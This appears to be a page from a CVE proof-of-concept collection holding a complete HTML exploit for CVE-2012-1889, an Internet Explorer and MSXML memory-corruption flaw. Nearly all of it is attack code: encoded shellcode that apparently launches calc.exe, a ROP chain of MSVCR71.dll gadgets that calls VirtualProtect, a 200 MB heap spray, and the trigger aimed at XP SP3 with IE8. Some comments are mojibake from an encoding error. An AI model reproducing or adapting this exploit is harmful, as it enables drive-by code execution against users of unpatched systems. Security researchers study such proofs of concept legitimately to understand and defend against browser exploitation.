4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / cve-2012-1889.html HTML
<html>
<head>
    <title>CVE 2012-1889 PoC</title>
</head>
<body>
    <object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='poc'></object>
    <script>
		// [ Shellcode ]
		var shellcode = "\u96E9\u0000\u5600\uC931\u8B64\u3071\u768B\u8B0C\u1C76\u468B\u8B08\u207E\u368B\u3966\u184F\uF275\uC35E\u8B60\u246C\u8B24\u3C45\u548B\u7805\uEA01\u4A8B\u8B18\u205A\uEB01\u37E3\u8B49\u8B34\uEE01\uFF31\uC031\uACFC\uC084\u0A74\uCFC1\u010D\uE9C7\uFFF1\uFFFF\u7C3B\u2824\uDE75\u5A8B\u0124\u66EB\u0C8B\u8B4B\u1C5A\uEB01\u048B\u018B\u89E8\u2444\u611C\uADC3\u5250\uA7E8\uFFFF\u89FF\u8107\u08C4\u0000\u8100\u04C7\u0000\u3900\u75CE\uC3E6\u19E8\u0000\u9800\u8AFE\u7E0E\uE2D8\u8173\u08EC\u0000\u8900\uE8E5\uFF5D\uFFFF\uC289\uE2EB\u8D5E\u047D\uF189\uC181\u0008\u0000\uB6E8\uFFFF\uEBFF\u5B0E\uC031\u5350\u55FF\u3104\u50C0\u55FF\uE808\uFFED\uFFFF\u6163\u636C\u652E\u6578\u0000";
		// [ ROP Chain ]
		// 0x0C0C0C24 -> # retn
		// 0x0C0C0C14 -> # xchg eax, esp # retn
    // Start from 0x0c0c0c0c
		var rop_chain = 		"\ud202\u7c34" + // 0x7c34d202 : ,# RETN (ROP NOP) [MSVCR71.dll]
                        "\u7cff\u7c35" + // 0x7c357cff : ,# POP EBP # RETN [MSVCR71.dll] 
                        "\u8b05\u7c34" + // 0x7c348b05	# xchg eax, esp # retn [MSVCR71.dll]
                        "\ud202\u7c34" + // 0x7c34d202 : ,# RETN (ROP NOP) [MSVCR71.dll]
                        "\ud202\u7c34" + // 0x7c34d202 : ,# RETN (ROP NOP) [MSVCR71.dll]
                        "\ud202\u7c34" + // 0x7c34d202 : ,# RETN (ROP NOP) [MSVCR71.dll]
                        "\ud202\u7c34" + // 0x7c34d202 : ,# RETN (ROP NOP) [MSVCR71.dll]                      
                        // The real rop chain
                        "\u7cff\u7c35" + // 0x7c357cff : ,# POP EBP # RETN [MSVCR71.dll] 
                  			"\u7cff\u7c35" + // 0x7c357cff : ,# skip 4 bytes [MSVCR71.dll]
                  			"\u098d\u7c36" + // 0x7c36098d : ,# POP EBX # RETN [MSVCR71.dll] 
                  			"\u0201\u0000" + // 0x00000201 : ,# 0x00000201-> ebx
                  			"\u58e6\u7c34" + // 0x7c3458e6 : ,# POP EDX # RETN [MSVCR71.dll] 
			                  "\u0040\u0000" + // 0x00000040 : ,# 0x00000040-> edx
			                  "\u4f23\u7c35" + // 0x7c354f23 : ,# POP ECX # RETN [MSVCR71.dll] 
			                  "\ueb06\u7c38" + // 0x7c38eb06 : ,# &Writable location [MSVCR71.dll]
			                  "\u2eae\u7c34" + // 0x7c342eae : ,# POP EDI # RETN [MSVCR71.dll] 
			                  "\ud202\u7c34" + // 0x7c34d202 : ,# RETN (ROP NOP) [MSVCR71.dll]
			                  "\uaceb\u7c34" + // 0x7c34aceb : ,# POP ESI # RETN [MSVCR71.dll] 
			                  "\u15a2\u7c34" + // 0x7c3415a2 : ,# JMP [EAX] [MSVCR71.dll]
			                  "\u5194\u7c34" + // 0x7c345194 : ,# POP EAX # RETN [MSVCR71.dll] 
			                  "\ua151\u7c37" + // 0x7c37a140 : ,# ptr to &VirtualProtect() [IAT MSVCR71.dll]
			                  								 // ʵ����VirtuanProtect()�ĵ�ַ��0x7c37a140,��Ϊ����һ�ָ��ADD AL,OEF
			                  								 // ��ı���ֵ,���������ڴ��ʱ���Ƚ�����ַ��ȥOEF,���ս���0x7c37a151
			                  "\u8c81\u7c37" + // 0x7c378c81 : ,# PUSHAD # ADD AL,0EF # RETN [MSVCR71.dll] 
			                  "\u5c30\u7c34" ; // 0x7c345c30 : ,# ptr to 'push esp # ret ' [MSVCR71.dll]
		// [ fill the heap with 0x0c0c0c0c ] About 0x2000 Bytes
		var fill = "\u0c0c\u0c0c";
		while (fill.length < 0x1000){
			fill += fill;
		}
		// [ padding offset ]
		padding = fill.substring(0, 0x5F6);
		// [ fill each chunk with 0x800 bytes ]
		evilcode = padding + rop_chain + shellcode + fill.substring(0, 0x800 - padding.length - rop_chain.length - shellcode.length);
		// [ repeat the block to 512KB ]
		while (evilcode.length < 0x40000){
			evilcode += evilcode;
		}
		// [ substring(2, 0x40000 - 0x21) - XP SP3 + IE8 ]
		var block = evilcode.substring(2, 0x40000 - 0x21);
		// [ Allocate 200 MB ]
		var slide = new Array();
		for (var i = 0; i < 400; i++){
			slide[i] = block.substring(0, block.length);
		}
		// [ Vulnerability Trigger ]
		var obj = document.getElementById('poc').object;
		var src = unescape("%u0c08%u0c0c");		// fill the stack with 0x0c0c0c08
		while (src.length < 0x1002) src += src;
		src = "\\\\xxx" + src;
		src = src.substr(0, 0x1000 - 10);
		var pic = document.createElement("img");
		pic.src = src;
		pic.nameProp;
		obj.definition(0);
    </script>
</body>
</html>